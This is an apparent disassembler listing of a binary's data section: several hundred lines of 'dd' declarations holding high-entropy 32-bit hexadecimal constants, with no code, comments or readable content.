		dd 92A6ADACh, 4DC2DBC1h, 10EA38D9h, 29BEFC2Eh, 0E0E558B2h
		dd 79CEE554h, 2DEDECD3h, 0ED8BFA9Ah, 0A5F019E9h, 0B821713Ch
		dd 45DB8F75h, 7B70214Dh, 8C6BBAB2h, 0FBEE48C9h,	43DB3275h
		dd 48C05AD9h, 0E7CD5635h, 48F33EB1h, 804295FBh,	0A92D7188h
		dd 0E20FF4EDh, 70DDD475h, 0EDD85E98h, 0BD473788h, 0F8B39C19h
		dd 493A491Fh, 21FBD648h, 0BCFF0FA4h, 43D53A65h,	769E97DBh
		dd 65B34F18h, 0AE775BEAh, 0CB4877A1h, 0FA1A98E4h, 351DE5Dh
		dd 9A7CE21Fh, 0B58FAE7Fh, 61D71451h, 0E3120DD1h, 70AD4AFh
		dd 11722657h, 64F2652h,	0F3B0CB1Dh, 0A3DE14BCh,	0B3C1DF36h
		dd 8C7668Eh, 7BBA9D59h,	4AF750B1h, 619C5697h, 617F788Eh
		dd 3DFB6A5h, 4B2B3317h,	0A581CEBFh, 0BECA858Eh,	3DFB6E2h
		dd 4AE65B81h, 9E857CB1h, 642C9DD1h, 4CCF360Ch, 62C19E2Eh
		dd 0EDC6F5D5h, 7DF66512h, 0DE8E596h, 541C088Ah,	0F4E2C2A5h
		dd 0DCADB2E2h, 0F822B87Eh, 27C1784Eh, 67502007h, 15D15569h
		dd 83E7387Ch, 0C8610D89h, 0CECA59C6h, 0A16F01BDh, 0DF24F18Eh
		dd 0C9A5C34Fh, 0A9E5B145h, 85F28DA8h, 84AD9410h, 552298F3h
		dd 5545B31Fh, 94E765B1h, 9471B06Ah, 5632B315h, 3BDD1CDCh
		dd 9B5FE4F8h, 0E2EC5D4Dh, 0DD905F14h, 0D1410D0Fh, 2D48308Dh
		dd 4F18C3CFh, 89994B00h, 13E0E4B2h, 0E351C04Ch,	6714DCAh
		dd 0F35F124Ch, 9CDD9775h, 0E4588B5Ah, 52584070h, 95AC14FDh
		dd 48B5D78Dh, 0E5469DCCh, 0CA45E7C3h, 85DE1481h, 311918F5h
		dd 0C626DF39h, 750AC04Ah, 0F2AFA02Eh, 75CF1525h, 34DAB919h
		dd 0A58D20F7h, 0EAD1E69h, 8DF20EADh, 7BEA0008h,	912A89B0h
		dd 805218CBh, 149AC611h, 935C1E04h, 67DFE152h, 56D27856h
		dd 0DD4A9D8Fh, 0FE9AE5FEh, 904B55F9h, 26801E76h, 3E22BA26h
		dd 965E30F7h, 7E56AD60h, 1219BD5h, 41D9D319h, 9CD4AC09h
		dd 95D27DCEh, 0E5357D2Ah, 848CDC94h, 0EE20DFDAh, 43DAA87h
		dd 0FC5AA329h, 8C025719h, 0E4F0AF05h, 513A9184h, 0F093042Dh
		dd 52227F98h, 41B1AA03h, 15349A5Dh, 74B41E07h, 8A2195D3h
		dd 4CA1A0A0h, 4AB0E4CBh, 0F5FEDD5h, 0CA3E8279h,	49361BE2h
		dd 0B7B4BEC1h, 0A130B1E0h, 54B1B496h, 556FC55Dh, 5A6BD5EAh
		dd 8E0563D2h, 25B5C740h, 0BAE2AF93h, 0AF2F4F57h, 773500F1h
		dd 30663EDh, 908238B6h
		dd 2DB7113Dh, 7CBC9792h, 3E15F4F0h, 4E94240Ch, 0CF84C7D9h
		dd 379D1DD5h, 0B7BEB17Dh, 9FCB3E8Dh, 0CB7A5013h, 0F07FCDDh
		dd 0A2DCDB4h, 0F0C6FB83h, 49EE4AE8h, 413A1B71h,	429F219h
		dd 94EA9523h, 0F5FF025h, 58510354h, 0E15CADD4h,	0CA2E8811h
		dd 0E4FD5DAh, 0FE239AB6h, 0EEC639Dh, 0BC9CD29Ch, 24CDF92Fh
		dd 0CDA69F90h, 0B6138B4Fh, 0C046289Ah, 0C6E1B799h, 5EC59B2Dh
		dd 0DAE9A1AFh, 85DC7C6Dh, 0C62DE6B6h, 8E94A28Ch, 594DD564h
		dd 0F1F5592Ch, 334CABFh, 4FF9BB75h, 349A5744h, 42458C3Dh
		dd 0D2AA263h, 0F436E8A8h, 0B92EA092h, 2CACBCCDh, 4537919Fh
		dd 0FA5AE861h, 1269B78h, 8630EB75h, 396D98D2h, 54F5B210h
		dd 0A017632h, 0E7949A90h, 0E57BA500h, 0C2CBDABCh, 0B4915FABh
		dd 5991D615h, 44ED091Ch, 4D001C86h, 1529523Dh, 0EE4D8C2Dh
		dd 0C5E05DE3h, 5021F7Fh, 8941EAF9h, 0D2208015h,	0F959078Eh
		dd 5B98F675h, 0F09E2628h, 0D2C2B81Bh, 5570CBD6h, 35CC5F05h
		dd 693A09ACh, 0ACDE0E17h, 0F4D49081h, 0EED68A6Dh, 5ECB6ADh
		dd 15DEAB08h, 0E3CECB4Dh, 0DFEE7CDAh, 2B66A8C0h, 0D8F8C1FDh
		dd 0DA370065h, 5F261A94h, 899D0415h, 0D4575D4Bh, 0C459EB28h
		dd 0C5EF1872h, 0D859A292h, 8B57E041h, 0E42E26FDh, 0DC5B59CFh
		dd 3B103F2h, 0FA86350Ah, 2D4143E3h, 0D0FF44Ch, 26221B4Ah
		dd 8E395FCEh, 0C55B6314h, 0C25D2495h, 2E9FB710h, 58037F5Dh
		dd 37651912h, 95BD0D0Fh, 9AC7ADECh, 7D1EA066h, 9CF4B9D5h
		dd 687AEF96h, 10DAACAAh, 6A241765h, 580C33F8h, 961090F2h
		dd 0C7DFB06Ch, 0C5469D6Dh, 0ABCADD2h, 0C01CE530h, 28B3A589h
		dd 19697998h, 0A4B05E5Bh, 1F4CB410h, 0C61F23A0h, 0DFA2A54Ch
		dd 9AEBC25Ch, 0AB586C63h, 104CD593h, 30B9EE86h,	0C11CFCEDh
		dd 69D49194h, 0A1ACDB1Eh, 7E21FA2Dh, 5C47409h, 0A9D2DED4h
		dd 602E876Fh, 0B1CD3E8Fh, 8C1A4D5Ah, 8DF50442h,	954BA491h
		dd 92A6A5D6h, 0BA94B390h, 4329AA3Ch, 0B2344A05h, 0E2CEC25Ah
		dd 8EF2C9DAh, 0C4C34E5Ch, 62FC795Ah, 80822668h,	0D6D346E9h
		dd 6F01A45Eh, 0BBE196DBh, 996C1C2Fh, 677AEAF2h,	25A070C2h
		dd 2E5977EDh, 46B48B80h, 9FCA23EFh, 46E760B0h, 0ADFD1869h
		dd 4EA01C94h, 8FDA3935h, 462D88B7h, 3CE9F057h, 55DEE20Dh
		dd 0B4D41798h, 0E9219596h, 0CA637429h, 0D21B6394h, 3214E7E9h
		dd 0CCD7E82Fh, 0DD41F6CBh, 0EFBAB6F9h, 0C4F78D94h, 28CD6CABh
		dd 30547E62h, 0E9A99827h, 8CEEDAA9h, 7847F18Bh,	0A92213CEh
		dd 0EF16A1C3h, 1B59B5CEh, 329CEEE3h, 3C620EFh, 5F19765Ch
		dd 65E0F0F2h, 41CEC3DDh, 0B0D7A62Ch, 58D71C15h,	0D513C628h
		dd 0C7CC0A6Bh, 4659AF6Dh, 936F0F2Ch, 74756C12h,	0BA67DF52h
		dd 0F02B79F9h, 3B267475h, 6CCEFFF8h, 0B7A4EB1Dh, 0C505E0F8h
		dd 3210455Ch, 0E6EFCDE6h, 9FDF4C26h, 0F0897665h, 5B15DE7Dh
		dd 48CF773Dh, 8A5C33FFh, 70B3A116h, 0BEE2A964h,	844FA6A0h
		dd 25738615h, 0DE809Ch,	9738BEFFh, 8819C0ADh, 3C7F5C69h
		dd 0F5E25A3Eh, 556D7DEh, 0DBB44871h, 0FF7AEDDDh, 49C4A367h
		dd 5F284E53h, 0FC248B30h, 47B8EA11h, 17E2EDA1h,	0E0858EDAh
		dd 0FA21705Eh, 7D4EF35Bh, 79F94BC9h, 54D18C92h,	0B230657Bh
		dd 463D898Dh, 4BC0664Dh, 0F5AA5A34h, 2234660Ch,	1590A027h
		dd 7794E228h, 3594435h,	0D6E21C43h, 0FA664E5Eh,	27661AF8h
		dd 0CCE4E396h, 313AAFDAh, 0E73A3183h, 0E4C43647h, 0CB0D2A36h
		dd 9036DC4Fh, 5828E0FDh, 0C5688504h, 0AEC1B91Fh, 0EFD27CE8h
		dd 31D174A7h, 15D33834h, 0BC73BA07h, 252B4C1Dh,	4A075CF8h
		dd 0C581CCE2h, 0CA212949h, 2EBF826h, 51614F79h,	0ED26818Ch
		dd 0CECDE7F3h, 0B1644DE2h, 0CB187C60h, 0E56A3189h, 59F263DEh
		dd 0E47170Ch, 0E8666626h, 84345A05h, 4CE2EBBFh,	0AFAE1CF8h
		dd 0AEAAB59Fh, 0E5CE7214h, 0B26560DBh, 0D1E1141Ch, 0C62A6BE5h
		dd 0BE62F11Bh, 530FAAC1h, 0D455C37Bh, 0A179C267h, 0E8D5EA6Ch
		dd 0D20924D6h, 0D9E3997h, 0B0641D28h, 5731779Fh, 0E1F7E699h
		dd 0DFEFEB16h, 0B47ADF4Bh, 0A1114DFDh, 0D4CC38C5h, 6A2116DBh
		dd 8B648E67h, 0D2ED8865h, 7B13C75Bh, 691D724Fh,	30EBAD61h
		dd 10A0D70h, 0CCC29DC5h, 87F50E06h, 0CDB20B19h,	0A49C3921h
		dd 6630FF35h, 0ACCE835Bh, 0FD71FC89h, 77A8F743h, 82C1C15Ch
		dd 0EE2C3CF0h, 84ACB23Dh, 7B3669E6h, 27813EE6h,	0A498A028h
		dd 0E3496C00h, 81CE823Ch, 0E2D1AE19h, 6DE1A04Ch, 2230F7C5h
		dd 0E0C44AF0h, 248220A0h, 0D4C765CDh, 0F2C2D303h, 75B99981h
		dd 0D266984h, 85E9683Dh, 0E5B59214h, 8D615882h,	8DE2719Ch
		dd 9A79E5FEh, 978C2361h, 0CFC6FB47h, 4C1D637h, 0B49D209Dh
		dd 3B851FCDh, 0D17A9CA3h, 0F61264FFh, 0D4045AEAh, 618B568h
		dd 43B56894h, 0C6999C8Ah, 52E47C3Bh, 9C2B1DDEh,	96598B57h
		dd 9E26C40Ch, 554B8D1Dh, 3614FE58h, 32C89C04h, 0B52F1BD8h
		dd 0D558468Eh, 337AAF27h, 3DDA2E6Eh, 9DCE973Bh,	0F2519260h
		dd 593F178Dh, 0D5190702h, 0BD32E0A2h, 0BA27FE12h, 58F71B3Fh
		dd 59716269h, 179CD339h, 0B31BCF26h, 0CB9D1DC0h, 0FB3AF976h
		dd 0E0DB8F1Ch, 0C85B0019h, 0C708E0F9h, 40009AA1h, 4923F621h
		dd 0B2AF04E0h, 1279309Dh, 37A685D5h, 5B9AD54Fh,	0ED5CDB0Ah
		dd 0C97FE376h, 61063919h, 986CB4F2h, 0FD18C8F9h, 0DF460016h
		dd 0BA5C07E4h, 0CB6805F6h, 8D361EDBh, 10AB2F1Fh, 1740B57Eh
		dd 0C590D44Eh, 26E15788h, 44D3AF94h, 0A907ACFAh, 0BB776DE9h
		dd 0F988A250h, 0DA97621Dh, 4A26D7FEh, 0E0B970BFh, 512F84CBh
		dd 192166F3h, 80C47F05h, 74F28DD7h, 74A7E7CCh, 0BFCC1E09h
		dd 0EE75F0D5h, 0F59AD0D2h, 56906C00h, 9B20670Dh, 4D229854h
		dd 0CDA99443h, 4609E50Bh, 0C23AC100h, 34C1DF3Eh, 255E87E4h
		dd 0C8054E66h, 35261D15h, 3603D6AAh, 14790F6Ch,	15FAD2F4h
		dd 81CDDD00h, 1564A33Bh, 0FDC5F47Ch, 21220FB9h,	4FA2FFC6h
		dd 0F9A3F5FEh, 5AFE5C9Dh, 954E6F32h, 0C7C349ACh, 0AE3A34BBh
		dd 3F615B44h, 0B961712Eh, 0FE59C0A6h, 0D3912F5Dh, 0F45300FBh
		dd 0D3F0BA08h, 20D5F2EBh, 5BB1D790h, 48FC70E5h,	0F6CCABCFh
		dd 3DFD8B15h, 0BDD82D2h, 500EBAF8h, 0C66163FCh,	121F63E8h
		dd 6831CAF8h, 0A94CB2FFh, 598F988Ah, 46C0BB65h,	0EE414461h
		dd 4565812Ch, 0FE4CB0FCh, 0F07CE07Ch, 98FB946Fh, 98C28EEFh
		dd 1ABFFE1h, 48FE3883h,	6619A97Fh, 35BC9619h, 0C5610769h
		dd 0D0418F8Ah, 0C260F256h, 0ABD0532h, 8503C55Dh, 0D49A478Fh
		dd 0A8D9868Eh, 0D21C6EB2h, 0E1590FFCh, 0D9E467F5h, 2DF601E1h
		dd 0C79FB368h, 9583FF45h, 58814320h, 6A843914h,	8AEF3814h
		dd 2DB2C09Eh, 949ABAAFh, 35A62ACCh, 0FA39B8A5h,	8FA43C49h
		dd 0EE796279h, 0CEC9BE8Bh, 4A559328h, 8FDA1FBDh, 0F929D51h
		dd 0A145E6E7h, 88117985h, 43F99DDCh, 0A25EABC9h, 0B5237021h
		dd 0FFF8FDF9h, 9165B9F3h, 90509FD9h, 0B99FB7E3h, 9758CD37h
		dd 9213DE8Dh, 0C6D02D1Fh, 49FBC38Dh, 0A5A1C889h, 7826DF5Dh
		dd 55850C5Dh, 0CC7C30CFh, 0E1E818F5h, 35D31FD5h, 455EA002h
		dd 60B57080h, 65B49882h, 83D25C86h, 0AA070B0h, 2A14CB92h
		dd 0ACC8B80Fh, 2E054545h, 0EE8B8FBFh, 203629C4h, 67762CA8h
		dd 3B88F489h, 0A049F46Fh, 7F78B199h, 8A44C51Ch,	0EDE078FDh
		dd 87C7DF97h, 286AEF27h, 0A604F932h, 0BBF9ED9Fh, 0F97294BDh
		dd 83D6A0E3h, 0A3131E4h
		dd 47837322h, 0B3EA581Dh, 0D77AEF18h, 0C50056E2h, 492BBB9Bh
		dd 2739163Fh, 0B621788Bh, 0D950674Bh, 1025DF84h, 26007E93h
		dd 0EC2AE5D2h, 0EF50F532h, 0E1DAE975h, 0CC984311h, 21BBF10Bh
		dd 0F420E675h, 0E8D24A01h, 10F6D3E3h, 0E6CCD05Eh, 0F5D572F2h
		dd 0BB949CE3h, 7C1C8B15h, 0CB2E9081h, 55D1EF5Eh, 7DF68787h
		dd 3BD7119h, 97997BEFh,	0B0EF9F4Dh, 0D425DF68h,	0C0B08CB1h
		dd 9E025A09h, 0BAFD390Eh, 0C23854E0h, 8A590547h, 6DD9A9ADh
		dd 5372AFA3h, 47A47F0Fh, 2079699Dh, 6A7CB8E6h, 0EE2EE30h
		dd 0DA14E4C8h, 8DA0EAA6h, 0CB1AF883h, 0AFA2E948h, 95E8C8B3h
		dd 0BABB186Ch, 1CF368E9h, 0B41C5D3Ah, 91BAFF39h, 6FF35225h
		dd 5E5D8ADCh, 86E3AE0Ah, 0CB2F7CE3h, 10FCDF8Dh,	959F495Ch
		dd 7FEAE00Ch, 2024A0A2h, 49E26D3Fh, 0A5D6BF7Bh,	702FEC8Ah
		dd 91F9DEBBh, 0DB699EA3h, 8BE274E8h, 0CA59FF0Fh, 85F15A8Eh
		dd 0EDBBBEDBh, 2CE827D6h, 0FCF4F014h, 9E38CCCBh, 0DCAC5D83h
		dd 823A09FDh, 0CAEBDEEDh, 0F7919DDDh, 21C62E75h, 55E77291h
		dd 9B1963DFh, 0A319DA75h, 23A7675Ah, 0C89C924Fh, 0FB1AAF95h
		dd 77CE592Dh, 0FD3686DAh, 0CA00AA2Dh, 0F55CE11Eh, 0C91A9835h
		dd 0AC790B12h, 0EAE98817h, 0B6B92634h, 0A155CDD8h, 0B736C91Eh
		dd 0EF4250B1h, 49F4F065h, 0B2C5158Eh, 8299469Fh, 0D8FFD038h
		dd 0A1786E05h, 0A7F6A3D6h, 2E3AEC6Ch, 6CCCE920h, 0F6BCB851h
		dd 7A89FC7Ah, 0CD9C1BEDh, 518CCDEEh, 0DFCAC228h, 0A22D8441h
		dd 0B90FA979h, 0EF64EEDDh, 0FA4C88CAh, 0C20DBD9Dh, 0ABF6F43Ah
		dd 57236BB3h, 641F7189h, 0F16E31Dh, 5F50DA97h, 7FC853F3h
		dd 657DC6FFh, 15D6FB60h, 55F3CA85h, 9F965A8Ch, 8B9F94A8h
		dd 0CE2DB2C4h, 0E0E2BADCh, 971F9AE0h, 0E8F9F889h, 0ECCB2C2Fh
		dd 0F49CECE2h, 0FB9DB45Ah, 0B144D1FCh, 9188C15h, 0F97A5A01h
		dd 55E9C2F5h, 154AFCB2h, 0EE2ADCE3h, 2DFDC8BAh,	0F1A2FAh
		dd 2CE0A946h, 22205527h, 528AB952h, 822A00DCh, 0B31F1BF4h
		dd 0B36CF528h, 72EA0B86h, 0CD8F4092h, 0AB196C61h, 0C6E5562Bh
		dd 61F2A1FBh, 0B76870F7h, 1B847318h, 4E36BF35h,	9D1C981Ch
		dd 0FC895B27h, 8D06B916h, 4E39AD9Fh, 4C5D0EECh,	55F41028h
		dd 19D6FE82h, 1864B959h, 0FA5F78CAh, 9DEB371h, 0C504B17Fh
		dd 1496B163h, 43DBB6CEh, 87DA8DD2h, 0C8EBDF1Ah,	743AEE43h
		dd 1DA2DDFFh, 8D216F64h, 0F175882Fh, 540EF94Ch,	6A7AAA44h
		dd 0AA5C3ADAh, 0F6210321h, 6EEE3918h, 477D7AA2h, 79ACF365h
		dd 8BA2F6A7h, 36D2901Eh, 0D44F0A6Dh, 0FACCE09Eh, 29F566DEh
		dd 5A3BAB39h, 8BEAB32Bh, 8820D831h, 279B82AEh, 96D2E521h
		dd 4EAEF713h, 0FCF49888h, 0EF616FB1h, 6521C92Eh, 98F942D5h
		dd 43A57EAFh, 7D1742Dh,	95757EBAh, 0CB7A4971h, 726F766h
		dd 57D91F5Dh, 49B8BC9Ch, 0E26394DEh, 0BE5720E2h, 76A280C8h
		dd 81E61E68h, 0A3DDABDEh, 0F0AE01F5h, 81006183h, 0B2903909h
		dd 0FF664DF6h, 9B83A814h, 71D41B40h, 85F9B294h,	0B37CC425h
		dd 0AD4133FBh, 3E717E89h, 0CB593EC8h, 4FC6BBDAh, 55049D53h
		dd 0DEF9E248h, 0A602ACh, 0ED21B13Eh, 0B090B6C8h, 0E3A54Bh
		dd 2DC1350Ch, 4FCBECCh,	3B35ECEBh, 78659CCCh, 8EDFC44Fh
		dd 0A929391Ah, 50FE0EEh, 0EFEAB389h, 1C2D4609h,	5A2077FEh
		dd 1CFD0D75h, 0F9F3DC38h, 94C1FB19h, 95BCEED4h,	1D442C1Fh
		dd 7465B89Dh, 0D9DBCBD2h, 0E6711B61h, 6751B930h, 0E7BFA8FCh
		dd 622C52A4h, 4DDD81ECh, 48ADCEE5h, 22D46077h, 0C8D91521h
		dd 2E00E7D0h, 0F102B479h, 0E8DEA971h, 0C45491F8h, 2CEDC069h
		dd 3C567237h, 5965DF19h, 29B68517h, 74F34ECFh, 0DDA7C4E3h
		dd 9EFEF99Ah, 12ECEC20h, 890F0191h, 74AB6D0Ch, 86A5ECDEh
		dd 0CCAAF84Ah, 0FB8B883h, 5CD9D85Ah, 83484BE4h,	339BC0DFh
		dd 0F2289CE1h, 0D6380B74h, 857AB09Eh, 0C04264E4h, 8E960DF6h
		dd 3B59589Ah, 0FF37FE49h, 7265A01Ch, 0FC0182CCh, 1351A871h
		dd 0C1BC970Fh, 8A03EA9Fh, 44F56792h, 7CEC3A82h,	0FBCA972h
		dd 97411E1Eh, 668C95EEh, 3BFECAEAh, 0A175AB0Ah,	829CA410h
		dd 2B2C5252h, 4E014B52h, 0BDAB3ECDh, 8E1BDB62h,	0B24A5E6Eh
		dd 6804F11Ch, 9BB3DAFEh, 0DE813FBFh, 4292F775h,	0D817B48Ch
		dd 3DE965C9h, 954471CDh, 0F54CFBD8h, 4EFD06DBh,	0DB67BE5Fh
		dd 0F4123FAEh, 57CE3BEEh, 0BD9AA247h, 50ECA8B1h, 49E938A9h
		dd 0B819AC9Dh, 0F410F1DBh, 0BC0E2CEFh, 0C1F4D2E5h, 0D2AF50C6h
		dd 0AB24613Ch, 0BFABE026h, 0BFF0EFB2h, 0B01C8046h, 57F42749h
		dd 8DEF0DBh, 8FA684E0h,	0BAC15AD8h, 69244199h, 8590D04Ah
		dd 3563B1EFh, 0F8E9F0EFh, 50F038F2h, 3EF59D95h,	0EAA689C5h
		dd 0EC10BFAAh, 0B4A1C0EFh, 0E47F3991h, 9B003E8Ch, 0BD4CD46Fh
		dd 0B70F9888h, 40ED7005h, 6C9BA8FFh, 43BEC9Dh, 0B32B90CDh
		dd 942CFDDEh, 0CD90F5D3h, 9BE97EDCh, 427FA3E6h,	8B49A17Ah
		dd 0C601AF98h, 58DDAE6Bh, 40C90752h, 33730D19h,	3C492B0Dh
		dd 883E5161h, 0DD517ED7h, 45C13132h, 0E1B1ACCFh, 0B09EE5EDh
		dd 19A0C1EDh, 0B718A540h, 16BEC06Bh, 604560A7h,	8797A2CEh
		dd 0DCA6089Ch, 0D1F27184h, 2E329FCEh, 0F559B789h, 261ED8DCh
		dd 2432FB9Dh, 0B50D03E3h, 84F3A43Dh, 89F33E89h,	6FDBAB1Eh
		dd 44F3F2AFh, 0C41C2127h, 48241F9Fh, 5C0EE62Fh,	0B843FC15h
		dd 0AD52349Fh, 6AE25414h, 56DF2228h, 611BFBE0h,	8E2AE3B3h
		dd 9A3DEF94h, 0EF22BC29h, 65F4B7E6h, 8554FB02h,	0BC1498E2h
		dd 4CB17AF8h, 0F54B4945h, 65897161h, 0BAB5A2F2h, 923AA9FDh
		dd 7F7AC015h, 4C404FD2h, 0C2BCCC3Dh, 70A14D4Dh,	0DF6FC045h
		dd 80614F8Dh, 569E3F16h, 0BDEAB048h, 0A62A6BA2h, 7B84AB1Fh
		dd 24EDE2F8h, 0CB0ED2CEh, 0DD95709h, 0CC676809h, 68C9ABD0h
		dd 0CE301453h, 0CA1EAF0Ch, 84E71F35h, 4FCC0C57h, 8FE59528h
		dd 0A4DA5294h, 75BFD64Eh, 771E7405h, 75469F8Ch,	14A79817h
		dd 4CD32B09h, 0B7212A75h, 15F9FCB1h, 8150912Ah,	2C6A3883h
		dd 7F769EF5h, 89985908h, 82F8391Eh, 0E3CBC376h,	9B2B7C7Eh
		dd 4CDA987Bh, 0DF04C83h, 81B038F0h, 636080F1h, 0EA969AD1h
		dd 47AEA0Ch, 24E944E7h,	1F5AE645h, 0A5ECA350h, 0C1141E54h
		dd 3859F117h, 0FFEC928h, 0D2DFDA4Dh, 9CF74B02h,	0A1378C3Ch
		dd 0AE521DB1h, 0AEB5A6ADh, 2D5A1E14h, 21061D34h, 153DB35Fh
		dd 0FF3DBA04h, 51B2BD5Bh, 0EE58591Ah, 433AC499h, 0F7AF5FEBh
		dd 0C0474E83h, 13EFA11Dh, 29E0EA24h, 0AC6A911Eh, 16E30275h
		dd 649D7FE9h, 29897A74h, 7718CC54h, 4CEE26CCh, 0D722D0AEh
		dd 6B660D9Bh, 792C9223h, 0E5879A68h, 0E0C84E75h, 82530896h
		dd 47534469h, 97792EE3h, 697D7DCCh, 0F9DEF897h,	0F6161E2Ch
		dd 0B68A19F8h, 0CA46441Ah, 4DEEE377h, 11E2D936h, 8D3DD3B7h
		dd 8D1F19CFh, 7CCCEC6h,	82EFEBCCh, 0C607FFB6h, 76F158CEh
		dd 0BCA00397h, 1ED4E798h, 9202850Ch, 0CB20F974h, 0F363B8E1h
		dd 0CBB44514h, 0A983788Dh, 8529FB75h, 1706D6E8h, 68549E12h
		dd 8524DFF8h, 7FC6607Fh, 491099EBh, 8C1EB916h, 0C6B20C68h
		dd 5DAED82Fh, 841E7EA0h, 0CD5F4588h, 0C72CAAEAh, 9241B8E0h
		dd 0FFE05B7Bh, 0C58DFBDEh, 0CB4E80C1h, 40F87FDDh, 13731EA4h
		dd 0B15EEFDBh, 4F5BF789h, 507AA8FAh, 5E394074h,	15A85F5h
		dd 8D86DF0Fh, 751FE91Ch, 87AC3218h, 3BC6F62Eh, 788660CAh
		dd 84946499h, 8CF83EBCh
		dd 8E042AE4h, 6BE1D4B1h, 6581FA99h, 842F23C0h, 8591A00Bh
		dd 0BA0F86C1h, 62EB9CD9h, 37917916h, 0E1168142h, 49D722DBh
		dd 2B0191EDh, 7523FED1h, 0A624A705h, 70782D4Bh,	274F49F0h
		dd 0F5DD159Ah, 12EB8288h, 4B3CC8DEh, 138D08D6h,	85CDACD5h
		dd 63BB9A9Eh, 3DC75535h, 65E940ADh, 749B65D5h, 0CFDCA9DAh
		dd 6CDEE166h, 739580D0h, 31171D58h, 22A71E80h, 0C5F12D9Fh
		dd 0F281367Ah, 0EA8457DCh, 0CF8EE928h, 0E0ECAE96h, 0B0F5457Eh
		dd 7605C4DCh, 4C6F0FE3h, 93E1AC3Eh, 8DDC7C9Dh, 0E751E790h
		dd 0DF30AED8h, 9C30179Fh, 662AFAF1h, 0CAA9C93Dh, 0AFFAA055h
		dd 4F787694h, 2C2FFAC3h, 6A5B416Ch, 0EDE0DA94h,	0C7519F56h
		dd 0BECF3F91h, 3E2E123Fh, 1473C62Fh, 284CB202h,	8C52781Ah
		dd 0D6102FBFh, 752AE4D7h, 815A0F4h, 0F45EAD2Bh,	2E5FE535h
		dd 7A0BA597h, 8D4A3A42h, 67BD15DFh, 8DF90251h, 2DD0BDA9h
		dd 0D9E4DA45h, 7FF5CAACh, 0EC57A0E6h, 8AE20A72h, 0A410D2B4h
		dd 95E63BCAh, 8DC5390Fh, 0E25D5B42h, 0EAF65AE1h, 0BE1165E0h
		dd 30171EA4h, 8EEF19FBh, 6D2EC622h, 988EDC3Ch, 358B0CB5h
		dd 0CF73A6D6h, 0D07F652Ch, 0F90A37CBh, 0FA6E5CD5h, 6A4148ECh
		dd 0C9D1B1BDh, 0D792CEBAh, 62217956h, 70653F17h, 0C84140Ch
		dd 0C308A2B5h, 1A46D8CDh, 0B1ED60BBh, 803D4C4Ch, 658A7B40h
		dd 0A6B8591Ch, 3402736Ch, 1186A285h, 68BADCD6h,	377F41D0h
		dd 11F0F855h, 8BBA8DD6h, 0EB14A7E7h, 5EE0DB59h,	0FEE2A070h
		dd 555099ADh, 0A5508071h, 2DEC1BBDh, 4A49FD34h,	0F5189C4Bh
		dd 0EC19DCB2h, 6790FCCBh, 0BB090748h, 0FF098C6h, 0EC1CE076h
		dd 8B77A73Eh, 71D9C4D2h, 0B1F2C4B4h, 92043935h,	5C13AADEh
		dd 615F3B09h, 367DD32Ah, 55A686B4h, 33541FD2h, 4E0FA6D7h
		dd 0E1D42ECCh, 4E38E51Eh, 2E2EF5A1h, 7414DC05h,	845FFED9h
		dd 6F87A29h, 0C9177407h, 97C6D1B5h, 84F86647h, 9F7B8FEEh
		dd 0CE988F3h, 8A266980h, 0DD326F6h, 74E081ACh, 62EBB6C6h
		dd 52E1FCB4h, 69DD3F75h, 31FA1EDDh, 32C52BD7h, 0A9812689h
		dd 21DCA30h, 16F464E0h,	0C3284767h, 9D9DA875h, 59A08841h
		dd 0AAD0A63Ah, 8B814CFFh, 0B57AA08Dh, 470EDCADh, 2E5E9E8Ah
		dd 7696A4ADh, 6FEFF5C9h, 8F9AC544h, 7A1DF24Eh, 89E9E643h
		dd 0B2238A35h, 8E0242C5h, 0D38EC7EBh, 0E9EED017h, 0AC8F8D2Ah
		dd 0E4FDA214h, 7A9365A4h, 935B0B2Bh, 5F318B4Eh,	5DCD85E9h
		dd 0E65EFDAFh, 421AF375h, 0BB54C50Fh, 0C9AD4C7Bh, 57F18ED4h
		dd 878A16EAh, 0BB02FED2h, 0AACEB63Ch, 65AF78F9h, 0B5F4B50Ch
		dd 0C35094BCh, 0EBB8A773h, 35F369DBh, 0CC77081h, 0FC9F65C9h
		dd 784F95E0h, 0E021E044h, 97C4D84Bh, 0E39725B1h, 1EDB4EFDh
		dd 20036E8Dh, 9409B061h, 0F729FDCFh, 82EFBC31h,	0F22F5D43h
		dd 0B46202CFh, 81B8909Dh, 0C91AE0A6h, 957FE7D7h, 0F4CF22DAh
		dd 91271BF5h, 178BAA69h, 0E733012Bh, 0C8F82BDBh, 472988h
		dd 9D597C48h, 853E3CC3h, 6213CB57h, 1BFD80B8h, 5ECEE70Eh
		dd 0DE896D7Bh, 51D2B120h, 0D804D454h, 9136CE53h, 8537A2E3h
		dd 40E47025h, 0CD91880Ah, 0AB48BED9h, 9D1C9CBDh, 5EA01CDCh
		dd 9C1F6481h, 1A57C85h,	0B919B843h, 4D04A8BAh, 0F6E5A11Ah
		dd 0F0C530A9h, 0E220BF95h, 0C5C42D42h, 49CC4E68h, 9B7A67F8h
		dd 96397F5h, 0AEE0A6DDh, 0F993F7E7h, 3896113h, 0BD7F72DEh
		dd 8372E90Eh, 0ED509E96h, 9BB24495h, 768188EFh,	0A1F6D8F9h
		dd 0E1B01DC8h, 4D996C12h, 7A8DDDA8h, 0C5DBD15Fh, 60D96C5Eh
		dd 8A7B16Ch, 0FA3CEDF7h, 0D2E7B90Bh, 7B7EE0F7h,	6F2C50DDh
		dd 0B7AB1005h, 535E8302h, 0AAC9516Ch, 0EAB0FBA3h, 0BCF5D98Fh
		dd 0F4F68245h, 6A1C6815h, 0C7F7FBF5h, 0D11FC996h, 0E7596A44h
		dd 0C412DB6Dh, 0D0124E75h, 0AA5C3EEEh, 0E8ED6CA4h, 8E081F17h
		dd 855A1F84h, 0CEDEAB97h, 8B438FCAh, 0A11D1910h, 83A26491h
		dd 98524F0Eh, 7DD0772Dh, 6204DA7Eh, 0D43D49B0h,	46A2E72Fh
		dd 863F8BDBh, 8EBAECDFh, 418EFA6Fh, 377615Dh, 622D2AC1h
		dd 0C55E0ECAh, 55503A4Eh, 0FEBC7D4Bh, 8DF314C4h, 0EEDCF0D7h
		dd 0F49D261h, 8F8AB19Fh, 6C82B6B4h, 895E913Dh, 70BA1D0Ch
		dd 2F621BAAh, 0A5B19985h, 50044407h, 0C34A6FC8h, 0C7C6E396h
		dd 2D30581Dh, 9A3C895h,	0C35AAB66h, 1561120Fh, 3CF97D58h
		dd 0FA9BF8D4h, 0C71135D8h, 210FA0C8h, 0FE591BB7h, 0F8525035h
		dd 0EBE184DEh, 42EFE992h, 0C8F4CBA1h, 4572CC37h, 0A993A973h
